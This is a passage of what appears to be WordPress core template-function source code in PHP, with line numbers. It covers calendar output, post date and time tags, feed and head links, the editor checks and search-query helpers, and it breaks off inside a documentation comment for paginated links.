1949 if ( in_array( $day, $daywithpost ) ) {
1950 // any posts today?
1951 $date_format = date( _x( 'F j, Y', 'daily archives date format' ), strtotime( "{$thisyear}-{$thismonth}-{$day}" ) );
1952 $label = sprintf( __( 'Posts published on %s' ), $date_format );
1953 $calendar_output .= sprintf(
1954 '<a href="%s" aria-label="%s">%s</a>',
1955 get_day_link( $thisyear, $thismonth, $day ),
1956 esc_attr( $label ),
1957 $day
1958 );
1959 } else {
1960 $calendar_output .= $day;
1961 }
1962 $calendar_output .= '</td>';
1963
1964 if ( 6 == calendar_week_mod( date( 'w', mktime(0, 0 , 0, $thismonth, $day, $thisyear ) ) - $week_begins ) ) {
1965 $newrow = true;
1966 }
1967 }
1968
1969 $pad = 7 - calendar_week_mod( date( 'w', mktime( 0, 0 , 0, $thismonth, $day, $thisyear ) ) - $week_begins );
1970 if ( $pad != 0 && $pad != 7 ) {
1971 $calendar_output .= "\n\t\t".'<td class="pad" colspan="'. esc_attr( $pad ) .'"> </td>';
1972 }
1973 $calendar_output .= "\n\t</tr>\n\t</tbody>\n\t</table>";
1974
1975 $cache[ $key ] = $calendar_output;
1976 wp_cache_set( 'get_calendar', $cache, 'calendar' );
1977
1978 if ( $echo ) {
1979 /**
1980 * Filter the HTML calendar output.
1981 *
1982 * @since 3.0.0
1983 *
1984 * @param string $calendar_output HTML output of the calendar.
1985 */
1986 echo apply_filters( 'get_calendar', $calendar_output );
1987 return;
1988 }
1989 /** This filter is documented in wp-includes/general-template.php */
1990 return apply_filters( 'get_calendar', $calendar_output );
1991}
1992
1993/**
1994 * Purge the cached results of get_calendar.
1995 *
1996 * @see get_calendar
1997 * @since 2.1.0
1998 */
1999function delete_get_calendar_cache() {
2000 wp_cache_delete( 'get_calendar', 'calendar' );
2001}
2002
2003/**
2004 * Display all of the allowed tags in HTML format with attributes.
2005 *
2006 * This is useful for displaying in the comment area, which elements and
2007 * attributes are supported. As well as any plugins which want to display it.
2008 *
2009 * @since 1.0.1
2010 *
2011 * @global array $allowedtags
2012 *
2013 * @return string HTML allowed tags entity encoded.
2014 */
2015function allowed_tags() {
2016 global $allowedtags;
2017 $allowed = '';
2018 foreach ( (array) $allowedtags as $tag => $attributes ) {
2019 $allowed .= '<'.$tag;
2020 if ( 0 < count($attributes) ) {
2021 foreach ( $attributes as $attribute => $limits ) {
2022 $allowed .= ' '.$attribute.'=""';
2023 }
2024 }
2025 $allowed .= '> ';
2026 }
2027 return htmlentities( $allowed );
2028}
2029
2030/***** Date/Time tags *****/
2031
2032/**
2033 * Outputs the date in iso8601 format for xml files.
2034 *
2035 * @since 1.0.0
2036 */
2037function the_date_xml() {
2038 echo mysql2date( 'Y-m-d', get_post()->post_date, false );
2039}
2040
2041/**
2042 * Display or Retrieve the date the current post was written (once per date)
2043 *
2044 * Will only output the date if the current post's date is different from the
2045 * previous one output.
2046 *
2047 * i.e. Only one date listing will show per day worth of posts shown in the loop, even if the
2048 * function is called several times for each post.
2049 *
2050 * HTML output can be filtered with 'the_date'.
2051 * Date string output can be filtered with 'get_the_date'.
2052 *
2053 * @since 0.71
2054 *
2055 * @global string|int|bool $currentday
2056 * @global string|int|bool $previousday
2057 *
2058 * @param string $d Optional. PHP date format defaults to the date_format option if not specified.
2059 * @param string $before Optional. Output before the date.
2060 * @param string $after Optional. Output after the date.
2061 * @param bool $echo Optional, default is display. Whether to echo the date or return it.
2062 * @return string|void String if retrieving.
2063 */
2064function the_date( $d = '', $before = '', $after = '', $echo = true ) {
2065 global $currentday, $previousday;
2066
2067 if ( is_new_day() ) {
2068 $the_date = $before . get_the_date( $d ) . $after;
2069 $previousday = $currentday;
2070
2071 /**
2072 * Filter the date a post was published for display.
2073 *
2074 * @since 0.71
2075 *
2076 * @param string $the_date The formatted date string.
2077 * @param string $d PHP date format. Defaults to 'date_format' option
2078 * if not specified.
2079 * @param string $before HTML output before the date.
2080 * @param string $after HTML output after the date.
2081 */
2082 $the_date = apply_filters( 'the_date', $the_date, $d, $before, $after );
2083
2084 if ( $echo )
2085 echo $the_date;
2086 else
2087 return $the_date;
2088 }
2089}
2090
2091/**
2092 * Retrieve the date on which the post was written.
2093 *
2094 * Unlike the_date() this function will always return the date.
2095 * Modify output with 'get_the_date' filter.
2096 *
2097 * @since 3.0.0
2098 *
2099 * @param string $d Optional. PHP date format defaults to the date_format option if not specified.
2100 * @param int|WP_Post $post Optional. Post ID or WP_Post object. Default current post.
2101 * @return false|string Date the current post was written. False on failure.
2102 */
2103function get_the_date( $d = '', $post = null ) {
2104 $post = get_post( $post );
2105
2106 if ( ! $post ) {
2107 return false;
2108 }
2109
2110 if ( '' == $d ) {
2111 $the_date = mysql2date( get_option( 'date_format' ), $post->post_date );
2112 } else {
2113 $the_date = mysql2date( $d, $post->post_date );
2114 }
2115
2116 /**
2117 * Filter the date a post was published.
2118 *
2119 * @since 3.0.0
2120 *
2121 * @param string $the_date The formatted date.
2122 * @param string $d PHP date format. Defaults to 'date_format' option
2123 * if not specified.
2124 * @param int|WP_Post $post The post object or ID.
2125 */
2126 return apply_filters( 'get_the_date', $the_date, $d, $post );
2127}
2128
2129/**
2130 * Display the date on which the post was last modified.
2131 *
2132 * @since 2.1.0
2133 *
2134 * @param string $d Optional. PHP date format defaults to the date_format option if not specified.
2135 * @param string $before Optional. Output before the date.
2136 * @param string $after Optional. Output after the date.
2137 * @param bool $echo Optional, default is display. Whether to echo the date or return it.
2138 * @return string|void String if retrieving.
2139 */
2140function the_modified_date( $d = '', $before = '', $after = '', $echo = true ) {
2141 $the_modified_date = $before . get_the_modified_date($d) . $after;
2142
2143 /**
2144 * Filter the date a post was last modified for display.
2145 *
2146 * @since 2.1.0
2147 *
2148 * @param string $the_modified_date The last modified date.
2149 * @param string $d PHP date format. Defaults to 'date_format' option
2150 * if not specified.
2151 * @param string $before HTML output before the date.
2152 * @param string $after HTML output after the date.
2153 */
2154 $the_modified_date = apply_filters( 'the_modified_date', $the_modified_date, $d, $before, $after );
2155
2156 if ( $echo )
2157 echo $the_modified_date;
2158 else
2159 return $the_modified_date;
2160
2161}
2162
2163/**
2164 * Retrieve the date on which the post was last modified.
2165 *
2166 * @since 2.1.0
2167 *
2168 * @param string $d Optional. PHP date format. Defaults to the "date_format" option
2169 * @return string
2170 */
2171function get_the_modified_date($d = '') {
2172 if ( '' == $d )
2173 $the_time = get_post_modified_time(get_option('date_format'), null, null, true);
2174 else
2175 $the_time = get_post_modified_time($d, null, null, true);
2176
2177 /**
2178 * Filter the date a post was last modified.
2179 *
2180 * @since 2.1.0
2181 *
2182 * @param string $the_time The formatted date.
2183 * @param string $d PHP date format. Defaults to value specified in
2184 * 'date_format' option.
2185 */
2186 return apply_filters( 'get_the_modified_date', $the_time, $d );
2187}
2188
2189/**
2190 * Display the time at which the post was written.
2191 *
2192 * @since 0.71
2193 *
2194 * @param string $d Either 'G', 'U', or php date format.
2195 */
2196function the_time( $d = '' ) {
2197 /**
2198 * Filter the time a post was written for display.
2199 *
2200 * @since 0.71
2201 *
2202 * @param string $get_the_time The formatted time.
2203 * @param string $d The time format. Accepts 'G', 'U',
2204 * or php date format.
2205 */
2206 echo apply_filters( 'the_time', get_the_time( $d ), $d );
2207}
2208
2209/**
2210 * Retrieve the time at which the post was written.
2211 *
2212 * @since 1.5.0
2213 *
2214 * @param string $d Optional. Format to use for retrieving the time the post
2215 * was written. Either 'G', 'U', or php date format defaults
2216 * to the value specified in the time_format option. Default empty.
2217 * @param int|WP_Post $post WP_Post object or ID. Default is global $post object.
2218 * @return false|string Formatted date string or Unix timestamp. False on failure.
2219 */
2220function get_the_time( $d = '', $post = null ) {
2221 $post = get_post($post);
2222
2223 if ( ! $post ) {
2224 return false;
2225 }
2226
2227 if ( '' == $d )
2228 $the_time = get_post_time(get_option('time_format'), false, $post, true);
2229 else
2230 $the_time = get_post_time($d, false, $post, true);
2231
2232 /**
2233 * Filter the time a post was written.
2234 *
2235 * @since 1.5.0
2236 *
2237 * @param string $the_time The formatted time.
2238 * @param string $d Format to use for retrieving the time the post was written.
2239 * Accepts 'G', 'U', or php date format value specified
2240 * in 'time_format' option. Default empty.
2241 * @param int|WP_Post $post WP_Post object or ID.
2242 */
2243 return apply_filters( 'get_the_time', $the_time, $d, $post );
2244}
2245
2246/**
2247 * Retrieve the time at which the post was written.
2248 *
2249 * @since 2.0.0
2250 *
2251 * @param string $d Optional. Format to use for retrieving the time the post
2252 * was written. Either 'G', 'U', or php date format. Default 'U'.
2253 * @param bool $gmt Optional. Whether to retrieve the GMT time. Default false.
2254 * @param int|WP_Post $post WP_Post object or ID. Default is global $post object.
2255 * @param bool $translate Whether to translate the time string. Default false.
2256 * @return false|string|int Formatted date string or Unix timestamp. False on failure.
2257 */
2258function get_post_time( $d = 'U', $gmt = false, $post = null, $translate = false ) {
2259 $post = get_post($post);
2260
2261 if ( ! $post ) {
2262 return false;
2263 }
2264
2265 if ( $gmt )
2266 $time = $post->post_date_gmt;
2267 else
2268 $time = $post->post_date;
2269
2270 $time = mysql2date($d, $time, $translate);
2271
2272 /**
2273 * Filter the localized time a post was written.
2274 *
2275 * @since 2.6.0
2276 *
2277 * @param string $time The formatted time.
2278 * @param string $d Format to use for retrieving the time the post was written.
2279 * Accepts 'G', 'U', or php date format. Default 'U'.
2280 * @param bool $gmt Whether to retrieve the GMT time. Default false.
2281 */
2282 return apply_filters( 'get_post_time', $time, $d, $gmt );
2283}
2284
2285/**
2286 * Display the time at which the post was last modified.
2287 *
2288 * @since 2.0.0
2289 *
2290 * @param string $d Optional Either 'G', 'U', or php date format defaults to the value specified in the time_format option.
2291 */
2292function the_modified_time($d = '') {
2293 /**
2294 * Filter the localized time a post was last modified, for display.
2295 *
2296 * @since 2.0.0
2297 *
2298 * @param string $get_the_modified_time The formatted time.
2299 * @param string $d The time format. Accepts 'G', 'U',
2300 * or php date format. Defaults to value
2301 * specified in 'time_format' option.
2302 */
2303 echo apply_filters( 'the_modified_time', get_the_modified_time($d), $d );
2304}
2305
2306/**
2307 * Retrieve the time at which the post was last modified.
2308 *
2309 * @since 2.0.0
2310 *
2311 * @param string $d Optional Either 'G', 'U', or php date format defaults to the value specified in the time_format option.
2312 * @return string
2313 */
2314function get_the_modified_time($d = '') {
2315 if ( '' == $d )
2316 $the_time = get_post_modified_time(get_option('time_format'), null, null, true);
2317 else
2318 $the_time = get_post_modified_time($d, null, null, true);
2319
2320 /**
2321 * Filter the localized time a post was last modified.
2322 *
2323 * @since 2.0.0
2324 *
2325 * @param string $the_time The formatted time.
2326 * @param string $d Format to use for retrieving the time the post was
2327 * written. Accepts 'G', 'U', or php date format. Defaults
2328 * to value specified in 'time_format' option.
2329 */
2330 return apply_filters( 'get_the_modified_time', $the_time, $d );
2331}
2332
2333/**
2334 * Retrieve the time at which the post was last modified.
2335 *
2336 * @since 2.0.0
2337 *
2338 * @param string $d Optional. Format to use for retrieving the time the post
2339 * was modified. Either 'G', 'U', or php date format. Default 'U'.
2340 * @param bool $gmt Optional. Whether to retrieve the GMT time. Default false.
2341 * @param int|WP_Post $post WP_Post object or ID. Default is global $post object.
2342 * @param bool $translate Whether to translate the time string. Default false.
2343 * @return false|string Formatted date string or Unix timestamp. False on failure.
2344 */
2345function get_post_modified_time( $d = 'U', $gmt = false, $post = null, $translate = false ) {
2346 $post = get_post($post);
2347
2348 if ( ! $post ) {
2349 return false;
2350 }
2351
2352 if ( $gmt )
2353 $time = $post->post_modified_gmt;
2354 else
2355 $time = $post->post_modified;
2356 $time = mysql2date($d, $time, $translate);
2357
2358 /**
2359 * Filter the localized time a post was last modified.
2360 *
2361 * @since 2.8.0
2362 *
2363 * @param string $time The formatted time.
2364 * @param string $d The date format. Accepts 'G', 'U', or php date format. Default 'U'.
2365 * @param bool $gmt Whether to return the GMT time. Default false.
2366 */
2367 return apply_filters( 'get_post_modified_time', $time, $d, $gmt );
2368}
2369
2370/**
2371 * Display the weekday on which the post was written.
2372 *
2373 * @since 0.71
2374 *
2375 * @global WP_Locale $wp_locale
2376 */
2377function the_weekday() {
2378 global $wp_locale;
2379 $the_weekday = $wp_locale->get_weekday( mysql2date( 'w', get_post()->post_date, false ) );
2380
2381 /**
2382 * Filter the weekday on which the post was written, for display.
2383 *
2384 * @since 0.71
2385 *
2386 * @param string $the_weekday
2387 */
2388 echo apply_filters( 'the_weekday', $the_weekday );
2389}
2390
2391/**
2392 * Display the weekday on which the post was written.
2393 *
2394 * Will only output the weekday if the current post's weekday is different from
2395 * the previous one output.
2396 *
2397 * @since 0.71
2398 *
2399 * @global WP_Locale $wp_locale
2400 * @global string|int|bool $currentday
2401 * @global string|int|bool $previousweekday
2402 *
2403 * @param string $before Optional Output before the date.
2404 * @param string $after Optional Output after the date.
2405 */
2406function the_weekday_date($before='',$after='') {
2407 global $wp_locale, $currentday, $previousweekday;
2408 $the_weekday_date = '';
2409 if ( $currentday != $previousweekday ) {
2410 $the_weekday_date .= $before;
2411 $the_weekday_date .= $wp_locale->get_weekday( mysql2date( 'w', get_post()->post_date, false ) );
2412 $the_weekday_date .= $after;
2413 $previousweekday = $currentday;
2414 }
2415
2416 /**
2417 * Filter the localized date on which the post was written, for display.
2418 *
2419 * @since 0.71
2420 *
2421 * @param string $the_weekday_date
2422 * @param string $before The HTML to output before the date.
2423 * @param string $after The HTML to output after the date.
2424 */
2425 $the_weekday_date = apply_filters( 'the_weekday_date', $the_weekday_date, $before, $after );
2426 echo $the_weekday_date;
2427}
2428
2429/**
2430 * Fire the wp_head action
2431 *
2432 * @since 1.2.0
2433 */
2434function wp_head() {
2435 /**
2436 * Print scripts or data in the head tag on the front end.
2437 *
2438 * @since 1.5.0
2439 */
2440 do_action( 'wp_head' );
2441}
2442
2443/**
2444 * Fire the wp_footer action
2445 *
2446 * @since 1.5.1
2447 */
2448function wp_footer() {
2449 /**
2450 * Print scripts or data before the closing body tag on the front end.
2451 *
2452 * @since 1.5.1
2453 */
2454 do_action( 'wp_footer' );
2455}
2456
2457/**
2458 * Display the links to the general feeds.
2459 *
2460 * @since 2.8.0
2461 *
2462 * @param array $args Optional arguments.
2463 */
2464function feed_links( $args = array() ) {
2465 if ( !current_theme_supports('automatic-feed-links') )
2466 return;
2467
2468 $defaults = array(
2469 /* translators: Separator between blog name and feed type in feed links */
2470 'separator' => _x('»', 'feed link'),
2471 /* translators: 1: blog title, 2: separator (raquo) */
2472 'feedtitle' => __('%1$s %2$s Feed'),
2473 /* translators: 1: blog title, 2: separator (raquo) */
2474 'comstitle' => __('%1$s %2$s Comments Feed'),
2475 );
2476
2477 $args = wp_parse_args( $args, $defaults );
2478
2479 /**
2480 * Filter whether to display the posts feed link.
2481 *
2482 * @since 4.4.0
2483 *
2484 * @param bool $show Whether to display the posts feed link. Default true.
2485 */
2486 if ( apply_filters( 'feed_links_show_posts_feed', true ) ) {
2487 echo '<link rel="alternate" type="' . feed_content_type() . '" title="' . esc_attr( sprintf( $args['feedtitle'], get_bloginfo( 'name' ), $args['separator'] ) ) . '" href="' . esc_url( get_feed_link() ) . "\" />\n";
2488 }
2489
2490 /**
2491 * Filter whether to display the comments feed link.
2492 *
2493 * @since 4.4.0
2494 *
2495 * @param bool $show Whether to display the comments feed link. Default true.
2496 */
2497 if ( apply_filters( 'feed_links_show_comments_feed', true ) ) {
2498 echo '<link rel="alternate" type="' . feed_content_type() . '" title="' . esc_attr( sprintf( $args['comstitle'], get_bloginfo( 'name' ), $args['separator'] ) ) . '" href="' . esc_url( get_feed_link( 'comments_' . get_default_feed() ) ) . "\" />\n";
2499 }
2500}
2501
2502/**
2503 * Display the links to the extra feeds such as category feeds.
2504 *
2505 * @since 2.8.0
2506 *
2507 * @param array $args Optional arguments.
2508 */
2509function feed_links_extra( $args = array() ) {
2510 $defaults = array(
2511 /* translators: Separator between blog name and feed type in feed links */
2512 'separator' => _x('»', 'feed link'),
2513 /* translators: 1: blog name, 2: separator(raquo), 3: post title */
2514 'singletitle' => __('%1$s %2$s %3$s Comments Feed'),
2515 /* translators: 1: blog name, 2: separator(raquo), 3: category name */
2516 'cattitle' => __('%1$s %2$s %3$s Category Feed'),
2517 /* translators: 1: blog name, 2: separator(raquo), 3: tag name */
2518 'tagtitle' => __('%1$s %2$s %3$s Tag Feed'),
2519 /* translators: 1: blog name, 2: separator(raquo), 3: author name */
2520 'authortitle' => __('%1$s %2$s Posts by %3$s Feed'),
2521 /* translators: 1: blog name, 2: separator(raquo), 3: search phrase */
2522 'searchtitle' => __('%1$s %2$s Search Results for “%3$s” Feed'),
2523 /* translators: 1: blog name, 2: separator(raquo), 3: post type name */
2524 'posttypetitle' => __('%1$s %2$s %3$s Feed'),
2525 );
2526
2527 $args = wp_parse_args( $args, $defaults );
2528
2529 if ( is_singular() ) {
2530 $id = 0;
2531 $post = get_post( $id );
2532
2533 if ( comments_open() || pings_open() || $post->comment_count > 0 ) {
2534 $title = sprintf( $args['singletitle'], get_bloginfo('name'), $args['separator'], the_title_attribute( array( 'echo' => false ) ) );
2535 $href = get_post_comments_feed_link( $post->ID );
2536 }
2537 } elseif ( is_post_type_archive() ) {
2538 $post_type = get_query_var( 'post_type' );
2539 if ( is_array( $post_type ) )
2540 $post_type = reset( $post_type );
2541
2542 $post_type_obj = get_post_type_object( $post_type );
2543 $title = sprintf( $args['posttypetitle'], get_bloginfo( 'name' ), $args['separator'], $post_type_obj->labels->name );
2544 $href = get_post_type_archive_feed_link( $post_type_obj->name );
2545 } elseif ( is_category() ) {
2546 $term = get_queried_object();
2547
2548 if ( $term ) {
2549 $title = sprintf( $args['cattitle'], get_bloginfo('name'), $args['separator'], $term->name );
2550 $href = get_category_feed_link( $term->term_id );
2551 }
2552 } elseif ( is_tag() ) {
2553 $term = get_queried_object();
2554
2555 if ( $term ) {
2556 $title = sprintf( $args['tagtitle'], get_bloginfo('name'), $args['separator'], $term->name );
2557 $href = get_tag_feed_link( $term->term_id );
2558 }
2559 } elseif ( is_author() ) {
2560 $author_id = intval( get_query_var('author') );
2561
2562 $title = sprintf( $args['authortitle'], get_bloginfo('name'), $args['separator'], get_the_author_meta( 'display_name', $author_id ) );
2563 $href = get_author_feed_link( $author_id );
2564 } elseif ( is_search() ) {
2565 $title = sprintf( $args['searchtitle'], get_bloginfo('name'), $args['separator'], get_search_query( false ) );
2566 $href = get_search_feed_link();
2567 } elseif ( is_post_type_archive() ) {
2568 $title = sprintf( $args['posttypetitle'], get_bloginfo('name'), $args['separator'], post_type_archive_title( '', false ) );
2569 $post_type_obj = get_queried_object();
2570 if ( $post_type_obj )
2571 $href = get_post_type_archive_feed_link( $post_type_obj->name );
2572 }
2573
2574 if ( isset($title) && isset($href) )
2575 echo '<link rel="alternate" type="' . feed_content_type() . '" title="' . esc_attr( $title ) . '" href="' . esc_url( $href ) . '" />' . "\n";
2576}
2577
2578/**
2579 * Display the link to the Really Simple Discovery service endpoint.
2580 *
2581 * @link http://archipelago.phrasewise.com/rsd
2582 * @since 2.0.0
2583 */
2584function rsd_link() {
2585 echo '<link rel="EditURI" type="application/rsd+xml" title="RSD" href="' . esc_url( site_url( 'xmlrpc.php?rsd', 'rpc' ) ) . '" />' . "\n";
2586}
2587
2588/**
2589 * Display the link to the Windows Live Writer manifest file.
2590 *
2591 * @link http://msdn.microsoft.com/en-us/library/bb463265.aspx
2592 * @since 2.3.1
2593 */
2594function wlwmanifest_link() {
2595 echo '<link rel="wlwmanifest" type="application/wlwmanifest+xml" href="',
2596 includes_url( 'wlwmanifest.xml' ), '" /> ', "\n";
2597}
2598
2599/**
2600 * Display a noindex meta tag if required by the blog configuration.
2601 *
2602 * If a blog is marked as not being public then the noindex meta tag will be
2603 * output to tell web robots not to index the page content. Add this to the wp_head action.
2604 * Typical usage is as a wp_head callback. add_action( 'wp_head', 'noindex' );
2605 *
2606 * @see wp_no_robots
2607 *
2608 * @since 2.1.0
2609 */
2610function noindex() {
2611 // If the blog is not public, tell robots to go away.
2612 if ( '0' == get_option('blog_public') )
2613 wp_no_robots();
2614}
2615
2616/**
2617 * Display a noindex meta tag.
2618 *
2619 * Outputs a noindex meta tag that tells web robots not to index the page content.
2620 * Typical usage is as a wp_head callback. add_action( 'wp_head', 'wp_no_robots' );
2621 *
2622 * @since 3.3.0
2623 */
2624function wp_no_robots() {
2625 echo "<meta name='robots' content='noindex,follow' />\n";
2626}
2627
2628/**
2629 * Display site icon meta tags.
2630 *
2631 * @since 4.3.0
2632 *
2633 * @link http://www.whatwg.org/specs/web-apps/current-work/multipage/links.html#rel-icon HTML5 specification link icon.
2634 */
2635function wp_site_icon() {
2636 if ( ! has_site_icon() && ! is_customize_preview() ) {
2637 return;
2638 }
2639
2640 $meta_tags = array(
2641 sprintf( '<link rel="icon" href="%s" sizes="32x32" />', esc_url( get_site_icon_url( 32 ) ) ),
2642 sprintf( '<link rel="icon" href="%s" sizes="192x192" />', esc_url( get_site_icon_url( 192 ) ) ),
2643 sprintf( '<link rel="apple-touch-icon-precomposed" href="%s" />', esc_url( get_site_icon_url( 180 ) ) ),
2644 sprintf( '<meta name="msapplication-TileImage" content="%s" />', esc_url( get_site_icon_url( 270 ) ) ),
2645 );
2646
2647 /**
2648 * Filter the site icon meta tags, so Plugins can add their own.
2649 *
2650 * @since 4.3.0
2651 *
2652 * @param array $meta_tags Site Icon meta elements.
2653 */
2654 $meta_tags = apply_filters( 'site_icon_meta_tags', $meta_tags );
2655 $meta_tags = array_filter( $meta_tags );
2656
2657 foreach ( $meta_tags as $meta_tag ) {
2658 echo "$meta_tag\n";
2659 }
2660}
2661
2662/**
2663 * Whether the user should have a WYSIWIG editor.
2664 *
2665 * Checks that the user requires a WYSIWIG editor and that the editor is
2666 * supported in the users browser.
2667 *
2668 * @since 2.0.0
2669 *
2670 * @global bool $wp_rich_edit
2671 * @global bool $is_gecko
2672 * @global bool $is_opera
2673 * @global bool $is_safari
2674 * @global bool $is_chrome
2675 * @global bool $is_IE
2676 *
2677 * @return bool
2678 */
2679function user_can_richedit() {
2680 global $wp_rich_edit, $is_gecko, $is_opera, $is_safari, $is_chrome, $is_IE, $is_edge;
2681
2682 if ( !isset($wp_rich_edit) ) {
2683 $wp_rich_edit = false;
2684
2685 if ( get_user_option( 'rich_editing' ) == 'true' || ! is_user_logged_in() ) { // default to 'true' for logged out users
2686 if ( $is_safari ) {
2687 $wp_rich_edit = ! wp_is_mobile() || ( preg_match( '!AppleWebKit/(\d+)!', $_SERVER['HTTP_USER_AGENT'], $match ) && intval( $match[1] ) >= 534 );
2688 } elseif ( $is_gecko || $is_chrome || $is_IE || $is_edge || ( $is_opera && !wp_is_mobile() ) ) {
2689 $wp_rich_edit = true;
2690 }
2691 }
2692 }
2693
2694 /**
2695 * Filter whether the user can access the rich (Visual) editor.
2696 *
2697 * @since 2.1.0
2698 *
2699 * @param bool $wp_rich_edit Whether the user can access to the rich (Visual) editor.
2700 */
2701 return apply_filters( 'user_can_richedit', $wp_rich_edit );
2702}
2703
2704/**
2705 * Find out which editor should be displayed by default.
2706 *
2707 * Works out which of the two editors to display as the current editor for a
2708 * user. The 'html' setting is for the "Text" editor tab.
2709 *
2710 * @since 2.5.0
2711 *
2712 * @return string Either 'tinymce', or 'html', or 'test'
2713 */
2714function wp_default_editor() {
2715 $r = user_can_richedit() ? 'tinymce' : 'html'; // defaults
2716 if ( wp_get_current_user() ) { // look for cookie
2717 $ed = get_user_setting('editor', 'tinymce');
2718 $r = ( in_array($ed, array('tinymce', 'html', 'test') ) ) ? $ed : $r;
2719 }
2720
2721 /**
2722 * Filter which editor should be displayed by default.
2723 *
2724 * @since 2.5.0
2725 *
2726 * @param array $r An array of editors. Accepts 'tinymce', 'html', 'test'.
2727 */
2728 return apply_filters( 'wp_default_editor', $r );
2729}
2730
2731/**
2732 * Renders an editor.
2733 *
2734 * Using this function is the proper way to output all needed components for both TinyMCE and Quicktags.
2735 * _WP_Editors should not be used directly. See https://core.trac.wordpress.org/ticket/17144.
2736 *
2737 * NOTE: Once initialized the TinyMCE editor cannot be safely moved in the DOM. For that reason
2738 * running wp_editor() inside of a metabox is not a good idea unless only Quicktags is used.
2739 * On the post edit screen several actions can be used to include additional editors
2740 * containing TinyMCE: 'edit_page_form', 'edit_form_advanced' and 'dbx_post_sidebar'.
2741 * See https://core.trac.wordpress.org/ticket/19173 for more information.
2742 *
2743 * @see wp-includes/class-wp-editor.php
2744 * @since 3.3.0
2745 *
2746 * @param string $content Initial content for the editor.
2747 * @param string $editor_id HTML ID attribute value for the textarea and TinyMCE. Can only be /[a-z]+/.
2748 * @param array $settings See _WP_Editors::editor().
2749 */
2750function wp_editor( $content, $editor_id, $settings = array() ) {
2751 if ( ! class_exists( '_WP_Editors', false ) )
2752 require( ABSPATH . WPINC . '/class-wp-editor.php' );
2753
2754 _WP_Editors::editor($content, $editor_id, $settings);
2755}
2756
2757/**
2758 * Retrieve the contents of the search WordPress query variable.
2759 *
2760 * The search query string is passed through {@link esc_attr()}
2761 * to ensure that it is safe for placing in an html attribute.
2762 *
2763 * @since 2.3.0
2764 *
2765 * @param bool $escaped Whether the result is escaped. Default true.
2766 * Only use when you are later escaping it. Do not use unescaped.
2767 * @return string
2768 */
2769function get_search_query( $escaped = true ) {
2770 /**
2771 * Filter the contents of the search query variable.
2772 *
2773 * @since 2.3.0
2774 *
2775 * @param mixed $search Contents of the search query variable.
2776 */
2777 $query = apply_filters( 'get_search_query', get_query_var( 's' ) );
2778
2779 if ( $escaped )
2780 $query = esc_attr( $query );
2781 return $query;
2782}
2783
2784/**
2785 * Display the contents of the search query variable.
2786 *
2787 * The search query string is passed through {@link esc_attr()}
2788 * to ensure that it is safe for placing in an html attribute.
2789 *
2790 * @since 2.1.0
2791 */
2792function the_search_query() {
2793 /**
2794 * Filter the contents of the search query variable for display.
2795 *
2796 * @since 2.3.0
2797 *
2798 * @param mixed $search Contents of the search query variable.
2799 */
2800 echo esc_attr( apply_filters( 'the_search_query', get_search_query( false ) ) );
2801}
2802
2803/**
2804 * Gets the language attributes for the html tag.
2805 *
2806 * Builds up a set of html attributes containing the text direction and language
2807 * information for the page.
2808 *
2809 * @since 4.3.0
2810 *
2811 * @param string $doctype Optional. The type of html document. Accepts 'xhtml' or 'html'. Default 'html'.
2812 */
2813function get_language_attributes( $doctype = 'html' ) {
2814 $attributes = array();
2815
2816 if ( function_exists( 'is_rtl' ) && is_rtl() )
2817 $attributes[] = 'dir="rtl"';
2818
2819 if ( $lang = get_bloginfo('language') ) {
2820 if ( get_option('html_type') == 'text/html' || $doctype == 'html' )
2821 $attributes[] = "lang=\"$lang\"";
2822
2823 if ( get_option('html_type') != 'text/html' || $doctype == 'xhtml' )
2824 $attributes[] = "xml:lang=\"$lang\"";
2825 }
2826
2827 $output = implode(' ', $attributes);
2828
2829 /**
2830 * Filter the language attributes for display in the html tag.
2831 *
2832 * @since 2.5.0
2833 * @since 4.3.0 Added the `$doctype` parameter.
2834 *
2835 * @param string $output A space-separated list of language attributes.
2836 * @param string $doctype The type of html document (xhtml|html).
2837 */
2838 return apply_filters( 'language_attributes', $output, $doctype );
2839}
2840
2841/**
2842 * Displays the language attributes for the html tag.
2843 *
2844 * Builds up a set of html attributes containing the text direction and language
2845 * information for the page.
2846 *
2847 * @since 2.1.0
2848 * @since 4.3.0 Converted into a wrapper for get_language_attributes().
2849 *
2850 * @param string $doctype Optional. The type of html document. Accepts 'xhtml' or 'html'. Default 'html'.
2851 */
2852function language_attributes( $doctype = 'html' ) {
2853 echo get_language_attributes( $doctype );
2854}
2855
2856/**
2857 * Retrieve paginated link for archive post pages.
2858 *
2859 * Technically, the function can be used to create paginated link list for any
2860 * area. The 'base' argument is used to reference the url, which will be used to
2861 * create the paginated links. The 'format' argument is then used for replacing
2862 * the page number. It is however, most likely and by default, to be used on the
2863 * archive post pages.
2864 *
2865 * The 'type' argument controls format of the returned value. The default is
2866 * 'plain', which is just a string with the links separated by a newline
2867 * character. The other possible values are either 'array' or 'list'. The
2868 * 'array' value will return an array of the paginated link list to offer full
2869 * control of display. The 'list' value will place all of the paginated links in
2870 * an unordered HTML list.
2871 *
2872 * The 'total' argument is the total amount of pages and is an integer. The
2873 * 'current' argument is the current page number and is also an integer.
2874 *
2875 * An example of the 'base' argument is "http://example.com/all_posts.php%_%"
2876 * and the '%_%' is required. The '%_%' will be replaced by the contents of in
2877 * the 'format' argument. An example for the 'format' argument is "?page=%#%"
2878 * and the '%#%' is also required. The '%#%' will be replaced with the page
2879 * number.
2880 *
2881 * You can include the previous and next links in the list by setting the
2882 * 'prev_next' argument to true, which it is by default. You can set the
2883 * previous text, by using the 'prev_text' argument. You can set the next text
2884 * by setting the 'next_text' argument.
2885 *
2886 * If the 'show_all' argument is set to true, then it will show all of the pages
2887 * instead of a short list of the pages near the current page. By default, the
2888 * 'show_all' is set to false and controlled by the 'end_size' and 'mid_size'
2889 * arguments. The 'end_size' argument is how many numbers on either the start
2890 * and the end list edges, by default is 1. The 'mid_size' argument is how many
2891 * numbers to either side of current page, but not including current page.
2892 *
2893 * It is possible to add query vars to the link by using the 'add_args' argument
2894 * and see {@link add_query_arg()} for more information.
2895 *
2896 * The 'before_page_number' and 'after_page_number' arguments allow users to
2897 * augment the links themselves. Typically this might be to add context to the
2898 * numbered links so that screen reader users understand what the links are for.
2899 * The text strings are added before and after the page number - within the
2900 * anchor tag.
2901 *
2902 * @since 2.1.0
2903 *
2904 * @global WP_Query $wp_query
2905 * @global WP_Rewrite $wp_rewrite
2906 *
2907 * @param string|array $args {
2908 * Optional. Array or string of arguments for generating paginated links for archives.
2909 *
2910 * @type string $base Base of the paginated url. Default empty.
2911 * @type string $format Format for the pagination structure. Default empty.
2912 * @type int $total The total amount of pages. Default is the value WP_Query's
